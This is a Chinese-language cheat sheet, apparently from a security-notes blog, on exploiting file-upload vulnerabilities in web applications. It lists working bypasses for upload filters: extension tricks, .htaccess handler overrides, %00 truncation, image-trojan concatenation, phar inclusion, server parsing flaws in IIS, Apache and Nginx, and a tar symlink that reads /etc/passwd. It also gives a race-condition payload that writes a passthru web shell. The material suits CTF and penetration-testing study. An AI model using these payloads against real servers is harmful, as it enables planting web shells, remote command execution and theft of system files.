文件上传

1
phtml由服务器生成的具有动态内容的html文件,就像浏览器中的.php

一句话木马原理:通过脚本语言的eval函数执行系统操作。

  1. eval() 函数把字符串按照PHP代码来计算
  2. 该字符串必须是合法的PHP代码,且必须以分号结尾

寻找上传漏洞一般方法:

  • 扫描工具获取上传地址
  • 进入后台获取的上传地址(网站编辑器上传文件模块一般不存在漏洞)
  • 会员注册、上传图像、网站插件、网站应用等功能

前端JS校验

1
2
<form method="post" onsubmit="return checkFile()">
<form action="upload.jsp" onsubmit="return checkFile()">
  • 直接修改js代码中的检验部分,如:checkFile()或直接修改action=指向的地址
  • 利用Bp绕过:a.php改名a.php.jpg,Bp截获,改名回a.php

后端代码校验

校验header的content-type,通过Bp修改绕过

1
if($_FILES['upload_file']['type'] == 'image/jpeg')

后缀名黑名单

  • 后缀名变大小写.Php,后面加空格.php(空格),后面加点.php.后面加::$DATA.php::$DATA
  • 如果是黑名单删除模式并且未循环删除,可以使用嵌套方式.pphphp

  • Apache的httpd.conf文件如果定义其他后缀名,直接改后缀名为php5绕过
1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
  • 如果没有定义其他后缀名,如果http.conf如下配置开启,可上传.htaccess。 .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
1
2
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

上传.htaccess内容为

1
2
3
<FilesMatch "shell">
    SetHandler application/x-httpd-php
</FilesMatch>

此时再上传文件名为shell,内容可被解析为PHP。

上传.htaccess内容为

1
AddType application/x-httpd-php .jpg

此时再上传jpg文件既可被解析为PHP。

后端自动拼接后缀名

1
$img_path = $_GET['save_path'].".".$file_ext;

%00截断,截断条件:PHP版本<5.3.4,magic_quotes_gpcOff(当其为On时,所有单引号,双引号,反斜线,NULL字符自动加上反斜线进行转义,类似函数addslashes(),mysql_escape_string(),mysql_real_escape_string()

  • a.php改名a.php.jpg,Bp截获,hex改:a.php\0jpg
  • a.php改名a.php%00.jpg,Bp截获,Convert Selection->URL->URL-decode

后端图片检测

后端通过unpack(),getimagesize(),exif_imagetype(),imagecreatefromjpeg()等函数检测图片内容,上传图马:

1
copy /b 1.jpg+1.php 2.jpg

后端代码逻辑

文件包含

php.ini设置allow_url_include=On时(从PHP5.2开始allow_url_include就默认为Off),include(),require(),file_get_contents()等函数将包含文件以脚本解析执行。

  • 直接包含
1
2
3
4
<?php // include.php
    $i = $_GET['i'];
    include($i);
?>

将一句话木马改名为hack.txt,访问include.php?i=hack.txt即可将hack.txt按PHP解析。

1
2
3
4
<?php // include.php
    $i = $_GET['i'].".php";
    include($i);
?>

1.php压缩成1.zip,重命名为1.jpg上传,得到上传保存路径,然后通过PHP伪协议phar读取:?i=phar://uploads/xxx.jpg/1 ,后台会自动拼接.php

后端定期删除或重命名

  • 条件竞争:用Bp不断上传,再不断访问。上传内容为
1
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET\["f"\]);?>');?>

如果可以访问到,即会在当前目录写一个shell,下次就不用再条件竞争了。

  • 使用move_uploaded_file重命名,由于该函数会递归删除文件名后面的/.
1
2
3
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); //$file_ext check
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $file_name))

因此,POST中设置文件名:save_name=1.php/.

畸形解析

IIS 6.0

  • 默认解析格式除了.asp还有:.asa.cer.cdx
  • 目录名为xx.asp或xx.asa,其目录内任何扩展名文件均被当作ASP解析:/test.asp/1.jpg
  • 文件名为xx.asp;.jpg或xx.asp:.jpg会被当作ASP解析执行,Bp抓包修改

IIS 7.0/7.5

图片URL后面加/.php,即能将文件按PHP解析。如名为1.jpg的木马,访问/1.jpg/.php

Apache

mime.types配置文件定义了Apache能够解析哪些文件类型(白名单),由于apache从右到左找认识的扩展名,因此xx.php.rar或者xx.php.111这些默认没有在mime.types文件定义的都会解析为PHP文件。

Nginx<8.03

  • 同IIS 7.0/7.5
  • xx.jpg%00.php

Windows后缀名解析漏洞

Windows会将文件的后缀中的空格以及点进行过滤,如果遇到是黑名单校验的并且目标系统是Windows,可以上传xx.php(空格)或者xx.php.

网站平台信息的获取方式

  • 审查元素
  • 第三方平台查询(seo.chinaz.com)
  • 扫描工具(wwwscan)
  • 常用搭配:PHP+MySQL+ApacheASP+AccessMsSQL+IIS

上传tar

创建软连接读取敏感文件(sample:interesting_web-安恒月赛-2018-11)

1
2
ln -s /etc/passwd 1.jpg
tar cvfp 1.tar 1.jpg #-p:保留原文件的原来属性